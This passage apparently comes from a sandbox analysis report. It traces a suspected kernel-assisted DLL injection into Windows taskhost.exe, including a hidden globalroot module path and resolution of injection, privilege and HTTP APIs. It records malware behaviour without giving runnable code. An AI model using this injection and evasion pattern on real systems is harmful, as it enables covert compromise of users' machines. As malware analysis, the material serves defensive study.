"\\Windows\\System32\\MsCtfMonitor.dll" Region: id = 3128 start_va = 0x7fefbef0000 end_va = 0x7fefbf00fff entry_point = 0x7fefbef1070 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" Region: id = 3129 start_va = 0x7fefdb60000 end_va = 0x7fefdb9cfff entry_point = 0x7fefdb618f4 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" Region: id = 3130 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 3135 start_va = 0x2930000 end_va = 0x29affff entry_point = 0x0 region_type = private name = "private_0x0000000002930000" filename = "" Region: id = 3136 start_va = 0x7fefbc20000 end_va = 0x7fefbc2afff entry_point = 0x7fefbc248d8 region_type = mapped_file name = "HotStartUserAgent.dll" filename = "\\Windows\\System32\\HotStartUserAgent.dll" Region: id = 3137 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 3397 start_va = 0x370000 end_va = 0x371fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000370000" filename = "" Region: id = 3398 start_va = 0x2770000 end_va = 0x282ffff entry_point = 0x2770000 region_type = mapped_file name = "KernelBase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" Region: id = 3399 start_va = 0x2b50000 end_va = 0x2bcffff entry_point = 0x0 region_type = private name = "private_0x0000000002b50000" filename = "" Region: id = 3400 start_va = 0x2cb0000 end_va = 0x2d2ffff entry_point = 0x0 region_type = private name = "private_0x0000000002cb0000" filename = "" Region: id = 3401 start_va = 0x7fefb740000 end_va = 0x7fefb74afff entry_point = 0x7fefb744f8c region_type = mapped_file name = "slc.dll" filename = "\\Windows\\System32\\slc.dll" Region: id = 3402 start_va = 0x7fefdb40000 end_va = 0x7fefdb53fff entry_point = 0x7fefdb410e0 region_type = mapped_file name = "RpcRtRemote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" Region: id = 3403 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 3952 start_va = 0x28f0000 end_va = 0x296ffff entry_point = 0x0 region_type = private name = "private_0x00000000028f0000" filename = "" Region: id = 3953 start_va = 0x2ac0000 end_va = 0x2b3ffff entry_point = 0x0 region_type = private name = "private_0x0000000002ac0000" filename = "" Region: id = 3954 start_va = 0x7fef98a0000 end_va = 0x7fef98adfff entry_point = 0x7fef98a5d28 region_type = mapped_file name = "dimsjob.dll" filename = "\\Windows\\System32\\dimsjob.dll" Region: id = 3955 start_va = 0x7fefb620000 end_va = 0x7fefb65afff entry_point = 0x7fefb6222f0 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\System32\\winmm.dll" Region: id = 3956 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 3983 start_va = 0x380000 end_va = 0x382fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 3984 start_va = 0x2bf0000 end_va = 0x2c6ffff entry_point = 0x0 region_type = private name = "private_0x0000000002bf0000" filename = "" Region: id = 3985 start_va = 0x2c70000 end_va = 0x2c7ffff entry_point = 0x0 region_type = private name = "private_0x0000000002c70000" filename = "" Region: id = 3986 start_va = 0x7fef6a50000 end_va = 0x7fef6c35fff entry_point = 0x7fef6a51210 region_type = mapped_file name = "CertEnroll.dll" filename = "\\Windows\\System32\\CertEnroll.dll" Region: id = 3987 start_va = 0x7fef6c40000 end_va = 0x7fef6cb3fff entry_point = 0x7fef6c41b0c region_type = mapped_file name = "certcli.dll" filename = "\\Windows\\System32\\certcli.dll" Region: id = 3988 start_va = 0x7fef7a80000 end_va = 0x7fef7a8bfff entry_point = 0x7fef7a8602c region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" Region: id = 3989 start_va = 0x7fef7d50000 end_va = 0x7fef7dc3fff entry_point = 0x7fef7d566f0 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" Region: id = 3990 start_va = 0x7fef9890000 end_va = 0x7fef989ffff entry_point = 0x7fef989624c region_type = mapped_file name = "pautoenr.dll" filename = "\\Windows\\System32\\pautoenr.dll" Region: id = 3991 start_va = 0x7fefb7b0000 end_va = 0x7fefb8d6fff entry_point = 0x7fefb7b10ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" Region: id = 3992 start_va = 0x7fefb8e0000 end_va = 0x7fefb8f8fff entry_point = 0x7fefb8e11a8 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" Region: id = 3993 start_va = 0x7fefb940000 end_va = 0x7fefb954fff entry_point = 0x7fefb9460d8 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" Region: id = 3994 start_va = 0x7fefd190000 end_va = 0x7fefd1d6fff entry_point = 0x7fefd191064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" Region: id = 3995 start_va = 0x7fefd490000 end_va = 0x7fefd4a6fff entry_point = 0x7fefd4932b8 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" Region: id = 3996 start_va = 0x7fefda60000 end_va = 0x7fefda84fff entry_point = 0x7fefda69658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" Region: id = 3997 start_va = 0x7feff680000 end_va = 0x7feff6d1fff entry_point = 0x7feff6810d4 region_type = mapped_file name = "Wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" Region: id = 3998 start_va = 0x7feffce0000 end_va = 0x7feffce7fff entry_point = 0x7feffce1504 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" Region: id = 3999 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Thread: id = 340 os_tid = 0x57c [0097.374] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Device\\HarddiskVolume1\\Windows\\System32\\taskhost.exe", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0097.374] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\System32\\ntdll.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0097.376] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\kernel32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 1 [0097.376] IoIs32bitProcess (Irp=0x0) returned 0 [0097.376] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x58) returned 0xfffffa80037ce550 [0097.376] KeInitializeApc (Apc=0xfffffa80037ce550, Thread=0xfffffa80038a8630, TargetEnvironment=0x0, KernelRoutine=0xfffffa80027cb10c, RundownRoutine=0x0, NormalRoutine=0x0, Mode=0xffff4a0800000000, Context=0x0) [0097.376] KeInsertQueueApc (Apc=0xfffffa80037ce550, SystemArgument1=0x0, SystemArgument2=0x0, PriorityBoost=0x0) returned 1 [0097.376] ExFreePoolWithTag (P=0xfffffa80037ce550, Tag=0x0) [0097.376] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x478) returned 0xfffffa80038e0010 [0097.376] IoGetCurrentProcess () returned 0xfffffa80038a8b30 [0097.376] PsGetCurrentProcessId () returned 0x578 [0097.376] IoIs32bitProcess (Irp=0x0) returned 0 [0097.376] KeInitializeEvent (in: Event=0xfffffa80038e0050, Type=0x0, State=0 | out: Event=0xfffffa80038e0050) [0097.376] ExQueueWorkItem (in: WorkItem=0xfffffa80038e0010*(List.Flink=0x0, List.Blink=0x22003d006e006f, WorkerRoutine=0xfffffa80027cafd8, Parameter=0xfffffa80038e0010), QueueType=0x1 | out: WorkItem=0xfffffa80038e0010*(List.Flink=0x0, List.Blink=0x22003d006e006f, WorkerRoutine=0xfffffa80027cafd8, Parameter=0xfffffa80038e0010)) [0097.395] KeWaitForMutexObject () returned 0x0 [0097.590] ExFreePoolWithTag (P=0xfffffa80038e0010, Tag=0x0) [0097.590] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\KernelBase.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0097.600] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msvcrt.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0097.603] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\ole32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0097.604] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\gdi32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0097.604] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\user32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0097.605] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\lpk.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0097.606] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\usp10.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0097.606] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\rpcrt4.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0097.607] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\oleaut32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0097.611] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imm32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0097.611] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msctf.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0097.618] LoadLibraryExA (lpLibFileName="KERNEL32", hFile=0x0, dwFlags=0x0) returned 0x77a30000 [0097.973] GetProcAddress (hModule=0x77a30000, lpProcName="GetModuleHandleA") returned 0x77a465e0 [0097.973] GetProcAddress (hModule=0x77a30000, lpProcName="GetProcAddress") returned 0x77a53690 [0097.973] LoadLibraryExA (lpLibFileName="ntdll.dll", hFile=0x0, dwFlags=0x0) returned 0x77c50000 [0097.973] GetProcAddress (hModule=0x77c50000, lpProcName="atol") returned 0x77c565ec [0097.973] LoadLibraryExA (lpLibFileName="WININET.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefef80000 [0097.974] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wininet.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0097.974] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\shlwapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0097.974] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\advapi32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0097.975] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\sechost.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0097.976] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\urlmon.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0097.976] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\crypt32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0097.976] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msasn1.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0097.977] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\iertutil.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0097.986] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetOpenA") returned 0x7fefef99098 [0097.986] LoadLibraryExA (lpLibFileName="SHLWAPI.dll", hFile=0x0, dwFlags=0x0) returned 0x7feff4f0000 [0097.986] GetProcAddress (hModule=0x7feff4f0000, lpProcName="StrStrIA") returned 0x7feff4f5a1c [0097.986] LoadLibraryExA (lpLibFileName="imagehlp.dll", hFile=0x0, dwFlags=0x0) returned 0x7feffb50000 [0097.986] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imagehlp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0097.987] GetProcAddress (hModule=0x7feffb50000, lpProcName="MapFileAndCheckSumA") returned 0x7feffb556ec [0097.987] LoadLibraryExA (lpLibFileName="PSAPI.DLL", hFile=0x0, dwFlags=0x0) returned 0x77e20000 [0097.988] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\psapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0097.989] GetProcAddress (hModule=0x77e20000, lpProcName="GetModuleFileNameExA") returned 0x77e21268 [0097.989] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefed20000 [0097.989] GetProcAddress (hModule=0x7fefed20000, lpProcName="SetSecurityInfo") returned 0x7fefed28420 [0097.989] LoadLibraryExA (lpLibFileName="USER32.dll", hFile=0x0, dwFlags=0x0) returned 0x77b50000 [0097.989] GetProcAddress (hModule=0x77b50000, lpProcName="ExitWindowsEx") returned 0x77ba14e0 [0097.989] LoadLibraryExA (lpLibFileName="ole32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feff940000 [0097.989] GetProcAddress (hModule=0x7feff940000, lpProcName="CoCreateInstance") returned 0x7feff967490 [0097.991] GetModuleHandleA (lpModuleName="KERNEL32") returned 0x77a30000 [0097.991] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualProtect") returned 0x77a32ef0 [0097.991] VirtualProtect (in: lpAddress=0x1016f, dwSize=0x78, flNewProtect=0x4, lpflOldProtect=0x26f048 | out: lpflOldProtect=0x26f048*=0x40) returned 1 [0097.991] VirtualProtect (in: lpAddress=0x1016f, dwSize=0x78, flNewProtect=0x40, lpflOldProtect=0x26f048 | out: lpflOldProtect=0x26f048*=0x4) returned 1 [0097.991] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77c50000 [0097.991] GetProcAddress (hModule=0x77c50000, lpProcName="_strlwr") returned 0x77cd8fb0 [0097.991] GetProcAddress (hModule=0x77c50000, lpProcName="RtlTimeToSecondsSince1970") returned 0x77c67c30 [0097.991] GetProcAddress (hModule=0x77c50000, lpProcName="RtlRandom") returned 0x77cf4a40 [0097.991] GetProcAddress (hModule=0x77c50000, lpProcName="RtlImageDirectoryEntryToData") returned 0x77c80950 [0097.991] GetProcAddress (hModule=0x77c50000, lpProcName="RtlImageNtHeader") returned 0x77c7ecb0 [0097.991] GetProcAddress (hModule=0x77c50000, lpProcName="ZwAllocateVirtualMemory") returned 0x77ca1490 [0097.991] GetProcAddress (hModule=0x77c50000, lpProcName="ZwFreeVirtualMemory") returned 0x77ca14f0 [0097.991] GetProcAddress (hModule=0x77c50000, lpProcName="sscanf") returned 0x77cda974 [0097.991] GetProcAddress (hModule=0x77c50000, lpProcName="_snwprintf") returned 0x77cd8b8c [0097.991] GetProcAddress (hModule=0x77c50000, lpProcName="_stricmp") returned 0x77c8c5ec [0097.992] GetProcAddress (hModule=0x77c50000, lpProcName="RtlEqualUnicodeString") returned 0x77ca59a0 [0097.992] GetProcAddress (hModule=0x77c50000, lpProcName="ZwQuerySystemInformation") returned 0x77ca1670 [0097.992] GetProcAddress (hModule=0x77c50000, lpProcName="ZwSetInformationToken") returned 0x77ca2920 [0097.992] GetProcAddress (hModule=0x77c50000, lpProcName="ZwDuplicateToken") returned 0x77ca1730 [0097.992] GetProcAddress (hModule=0x77c50000, lpProcName="ZwClose") returned 0x77ca1400 [0097.992] GetProcAddress (hModule=0x77c50000, lpProcName="ZwAdjustPrivilegesToken") returned 0x77ca1720 [0097.992] GetProcAddress (hModule=0x77c50000, lpProcName="ZwOpenProcessToken") returned 0x77ca22d0 [0097.992] GetProcAddress (hModule=0x77c50000, lpProcName="strstr") returned 0x77cdac00 [0097.992] GetProcAddress (hModule=0x77c50000, lpProcName="atol") returned 0x77c565ec [0097.992] GetProcAddress (hModule=0x77c50000, lpProcName="sprintf") returned 0x77cda738 [0097.992] GetProcAddress (hModule=0x77c50000, lpProcName="strncat") returned 0x77c9fc40 [0097.992] GetProcAddress (hModule=0x77c50000, lpProcName="strchr") returned 0x77c7c900 [0097.992] GetProcAddress (hModule=0x77c50000, lpProcName="strrchr") returned 0x77cdab0c [0097.992] GetProcAddress (hModule=0x77c50000, lpProcName="ispunct") returned 0x77cd8620 [0097.992] GetProcAddress (hModule=0x77c50000, lpProcName="isalnum") returned 0x77cd8644 [0097.992] GetProcAddress (hModule=0x77c50000, lpProcName="strncpy") returned 0x77c9fec0 [0097.993] GetProcAddress (hModule=0x77c50000, lpProcName="RtlComputeCrc32") returned 0x77c5c7b0 [0097.993] GetProcAddress (hModule=0x77c50000, lpProcName="_snprintf") returned 0x77cd8ae0 [0097.993] GetProcAddress (hModule=0x77c50000, lpProcName="memcmp") returned 0x77c9ea60 [0097.993] GetProcAddress (hModule=0x77c50000, lpProcName="__chkstk") returned 0x77ca0dd0 [0097.993] GetProcAddress (hModule=0x77c50000, lpProcName="strncmp") returned 0x77c9fdf0 [0097.993] GetProcAddress (hModule=0x77c50000, lpProcName="atoi") returned 0x77c565e4 [0097.993] GetProcAddress (hModule=0x77c50000, lpProcName="memset") returned 0x77ca2ed0 [0097.993] GetProcAddress (hModule=0x77c50000, lpProcName="memcpy") returned 0x77c9e6d0 [0097.993] GetModuleHandleA (lpModuleName="WININET.dll") returned 0x7fefef80000 [0097.993] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetReadFile") returned 0x7fefef93914 [0097.993] GetProcAddress (hModule=0x7fefef80000, lpProcName="HttpQueryInfoW") returned 0x7fefefb4600 [0097.993] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetSetOptionW") returned 0x7fefef8ff20 [0097.993] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetQueryOptionW") returned 0x7fefefa1ab8 [0097.993] GetProcAddress (hModule=0x7fefef80000, lpProcName="HttpSendRequestA") returned 0x7fefefff600 [0097.993] GetProcAddress (hModule=0x7fefef80000, lpProcName="HttpOpenRequestA") returned 0x7fefefb3910 [0097.993] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetConnectA") returned 0x7fefefb3130 [0097.993] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetOpenA") returned 0x7fefef99098 [0097.994] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetCloseHandle") returned 0x7fefef95594 [0097.994] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetCrackUrlA") returned 0x7fefefe0b4c [0097.994] GetModuleHandleA (lpModuleName="SHLWAPI.dll") returned 0x7feff4f0000 [0097.994] GetProcAddress (hModule=0x7feff4f0000, lpProcName="StrStrIA") returned 0x7feff4f5a1c [0097.994] GetProcAddress (hModule=0x7feff4f0000, lpProcName="SHGetValueA") returned 0x7feff4f4e50 [0097.994] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathFindFileNameA") returned 0x7feff4f86c4 [0097.994] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathRemoveBackslashA") returned 0x7feff519e70 [0097.994] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathFindExtensionA") returned 0x7feff51b358 [0097.994] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathFileExistsA") returned 0x7feff51b4d4 [0097.994] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathAppendA") returned 0x7feff4f5710 [0097.994] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathRemoveFileSpecA") returned 0x7feff51bbb4 [0097.994] GetModuleHandleA (lpModuleName="imagehlp.dll") returned 0x7feffb50000 [0097.994] GetProcAddress (hModule=0x7feffb50000, lpProcName="MapFileAndCheckSumA") returned 0x7feffb556ec [0097.994] GetModuleHandleA (lpModuleName="PSAPI.DLL") returned 0x77e20000 [0097.994] GetProcAddress (hModule=0x77e20000, lpProcName="GetModuleFileNameExA") returned 0x77e21268 [0097.994] GetModuleHandleA (lpModuleName="KERNEL32.dll") returned 0x77a30000 [0097.995] GetProcAddress (hModule=0x77a30000, lpProcName="CreateFileA") returned 0x77a531f0 [0097.995] GetProcAddress (hModule=0x77a30000, lpProcName="SystemTimeToFileTime") returned 0x77a53560 [0097.995] GetProcAddress (hModule=0x77a30000, lpProcName="GetVersionExA") returned 0x77a470c0 [0097.995] GetProcAddress (hModule=0x77a30000, lpProcName="GetLocaleInfoA") returned 0x77a40210 [0097.995] GetProcAddress (hModule=0x77a30000, lpProcName="GetWindowsDirectoryA") returned 0x77a7bfb0 [0097.995] GetProcAddress (hModule=0x77a30000, lpProcName="GetTickCount") returned 0x77a52b00 [0097.995] GetProcAddress (hModule=0x77a30000, lpProcName="GetCommandLineA") returned 0x77a51e70 [0097.995] GetProcAddress (hModule=0x77a30000, lpProcName="SetUnhandledExceptionFilter") returned 0x77a49b70 [0097.995] GetProcAddress (hModule=0x77a30000, lpProcName="LocalFree") returned 0x77a447a0 [0097.995] GetProcAddress (hModule=0x77a30000, lpProcName="SetWaitableTimer") returned 0x77a38890 [0097.995] GetProcAddress (hModule=0x77a30000, lpProcName="CreateWaitableTimerA") returned 0x77a90da0 [0097.995] GetProcAddress (hModule=0x77a30000, lpProcName="CreateThread") returned 0x77a46580 [0097.995] GetProcAddress (hModule=0x77a30000, lpProcName="CopyFileA") returned 0x77ac5620 [0097.995] GetProcAddress (hModule=0x77a30000, lpProcName="UnmapViewOfFile") returned 0x77a53580 [0097.995] GetProcAddress (hModule=0x77a30000, lpProcName="MapViewOfFile") returned 0x77a3e390 [0097.995] GetProcAddress (hModule=0x77a30000, lpProcName="CreateFileMappingA") returned 0x77a3ead0 [0097.995] GetProcAddress (hModule=0x77a30000, lpProcName="GetModuleHandleA") returned 0x77a465e0 [0097.996] GetProcAddress (hModule=0x77a30000, lpProcName="RemoveDirectoryA") returned 0x77a7bdb0 [0097.996] GetProcAddress (hModule=0x77a30000, lpProcName="DeleteFileA") returned 0x77a414e0 [0097.996] GetProcAddress (hModule=0x77a30000, lpProcName="CreateDirectoryA") returned 0x77a7c5b0 [0097.996] GetProcAddress (hModule=0x77a30000, lpProcName="GetTempPathA") returned 0x77a92060 [0097.996] GetProcAddress (hModule=0x77a30000, lpProcName="ExitProcess") returned 0x77c740f0 [0097.996] GetProcAddress (hModule=0x77a30000, lpProcName="GetSystemTimeAsFileTime") returned 0x77a43f40 [0097.996] GetProcAddress (hModule=0x77a30000, lpProcName="LoadLibraryA") returned 0x77a47070 [0097.996] GetProcAddress (hModule=0x77a30000, lpProcName="OpenProcess") returned 0x77a4cad0 [0097.996] GetProcAddress (hModule=0x77a30000, lpProcName="OpenMutexA") returned 0x77a32ce0 [0097.996] GetProcAddress (hModule=0x77a30000, lpProcName="GetSystemInfo") returned 0x77a46f70 [0097.996] GetProcAddress (hModule=0x77a30000, lpProcName="QueueUserWorkItem") returned 0x77a41370 [0097.996] GetProcAddress (hModule=0x77a30000, lpProcName="Sleep") returned 0x77a52b70 [0097.996] GetProcAddress (hModule=0x77a30000, lpProcName="TerminateProcess") returned 0x77a7bca0 [0097.996] GetProcAddress (hModule=0x77a30000, lpProcName="ResumeThread") returned 0x77a413a0 [0097.996] GetProcAddress (hModule=0x77a30000, lpProcName="Wow64SetThreadContext") returned 0x77a7af70 [0097.996] GetProcAddress (hModule=0x77a30000, lpProcName="Wow64GetThreadContext") returned 0x77a7afa0 [0097.996] GetProcAddress (hModule=0x77a30000, lpProcName="WriteProcessMemory") returned 0x77a7bad0 [0097.997] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualAllocEx") returned 0x77a7bbd0 [0097.997] GetProcAddress (hModule=0x77a30000, lpProcName="CreateProcessA") returned 0x77ac8840 [0097.997] GetProcAddress (hModule=0x77a30000, lpProcName="GetModuleFileNameA") returned 0x77a464a0 [0097.997] GetProcAddress (hModule=0x77a30000, lpProcName="LeaveCriticalSection") returned 0x77ca3000 [0097.997] GetProcAddress (hModule=0x77a30000, lpProcName="EnterCriticalSection") returned 0x77ca2fc0 [0097.997] GetProcAddress (hModule=0x77a30000, lpProcName="HeapCreate") returned 0x77a470e0 [0097.997] GetProcAddress (hModule=0x77a30000, lpProcName="HeapDestroy") returned 0x77a41490 [0097.997] GetProcAddress (hModule=0x77a30000, lpProcName="HeapAlloc") returned 0x77ca33a0 [0097.997] GetProcAddress (hModule=0x77a30000, lpProcName="HeapReAlloc") returned 0x77c83f20 [0097.997] GetProcAddress (hModule=0x77a30000, lpProcName="HeapFree") returned 0x77a53070 [0097.997] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualAlloc") returned 0x77a467a0 [0097.997] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualFree") returned 0x77a41260 [0097.997] GetProcAddress (hModule=0x77a30000, lpProcName="GetProcAddress") returned 0x77a53690 [0097.997] GetProcAddress (hModule=0x77a30000, lpProcName="CreateMutexA") returned 0x77a47210 [0097.997] GetProcAddress (hModule=0x77a30000, lpProcName="GetLastError") returned 0x77a52dd0 [0097.997] GetProcAddress (hModule=0x77a30000, lpProcName="WaitForSingleObject") returned 0x77a52b20 [0097.998] GetProcAddress (hModule=0x77a30000, lpProcName="ReleaseMutex") returned 0x77a52b90 [0097.998] GetProcAddress (hModule=0x77a30000, lpProcName="WritePrivateProfileStringA") returned 0x77ab16b0 [0097.998] GetProcAddress (hModule=0x77a30000, lpProcName="GetPrivateProfileStringA") returned 0x77ab1720 [0097.998] GetProcAddress (hModule=0x77a30000, lpProcName="GetPrivateProfileIntA") returned 0x77ab18b0 [0097.998] GetProcAddress (hModule=0x77a30000, lpProcName="GetPrivateProfileSectionA") returned 0x77ab1600 [0097.998] GetProcAddress (hModule=0x77a30000, lpProcName="InitializeCriticalSection") returned 0x77c78100 [0097.998] GetProcAddress (hModule=0x77a30000, lpProcName="GetFileSize") returned 0x77a3f9d0 [0097.998] GetProcAddress (hModule=0x77a30000, lpProcName="CloseHandle") returned 0x77a52f80 [0097.998] GetProcAddress (hModule=0x77a30000, lpProcName="ReadFile") returned 0x77a41500 [0097.998] GetProcAddress (hModule=0x77a30000, lpProcName="WriteFile") returned 0x77a535a0 [0097.998] GetProcAddress (hModule=0x77a30000, lpProcName="SetEndOfFile") returned 0x77a7bd70 [0097.998] GetProcAddress (hModule=0x77a30000, lpProcName="FlushFileBuffers") returned 0x77a369f0 [0097.998] GetModuleHandleA (lpModuleName="ADVAPI32.dll") returned 0x7fefed20000 [0097.998] GetProcAddress (hModule=0x7fefed20000, lpProcName="ConvertStringSecurityDescriptorToSecurityDescriptorW") returned 0x7fefed32040 [0097.998] GetProcAddress (hModule=0x7fefed20000, lpProcName="SetSecurityInfo") returned 0x7fefed28420 [0097.998] GetProcAddress (hModule=0x7fefed20000, lpProcName="GetSecurityDescriptorSacl") returned 0x7fefed31e00 [0097.998] GetProcAddress (hModule=0x7fefed20000, lpProcName="CreateProcessAsUserA") returned 0x7fefed6a1a0 [0097.999] GetProcAddress (hModule=0x7fefed20000, lpProcName="AdjustTokenPrivileges") returned 0x7fefed3b9b0 [0097.999] GetProcAddress (hModule=0x7fefed20000, lpProcName="LookupPrivilegeValueA") returned 0x7fefed21a00 [0097.999] GetProcAddress (hModule=0x7fefed20000, lpProcName="OpenProcessToken") returned 0x7fefed3bd70 [0097.999] GetModuleHandleA (lpModuleName="USER32.dll") returned 0x77b50000 [0097.999] GetProcAddress (hModule=0x77b50000, lpProcName="ExitWindowsEx") returned 0x77ba14e0 [0097.999] GetModuleHandleA (lpModuleName="ole32.dll") returned 0x7feff940000 [0097.999] GetProcAddress (hModule=0x7feff940000, lpProcName="CoCreateInstance") returned 0x7feff967490 [0098.000] PathRemoveFileSpecA (in: pszPath="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cmd64.dll" | out: pszPath="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c") returned 1 [0098.001] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x1e310, nSize=0x3ff | out: lpFilename="C:\\Windows\\system32\\taskhost.exe") returned 0x20 [0098.001] PathFindFileNameA (pszPath="C:\\Windows\\system32\\taskhost.exe") returned="taskhost.exe" [0098.001] GetCommandLineA () returned="\"taskhost.exe\"" [0098.001] _strcmpi (_Str1="taskhost.exe", _Str2="svchost.exe") returned 1 [0098.001] StrStrIA (lpFirst="taskhost.exe", lpSrch="wermgr.exe") returned 0x0 [0098.002] HeapDestroy (hHeap=0x22e0000) returned 1 [0098.013] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\cryptbase.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 Thread: id = 354 os_tid = 0x5b8 Thread: id = 359 os_tid = 0x5cc [0098.940] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\uxtheme.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0099.054] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\dwmapi.dll", 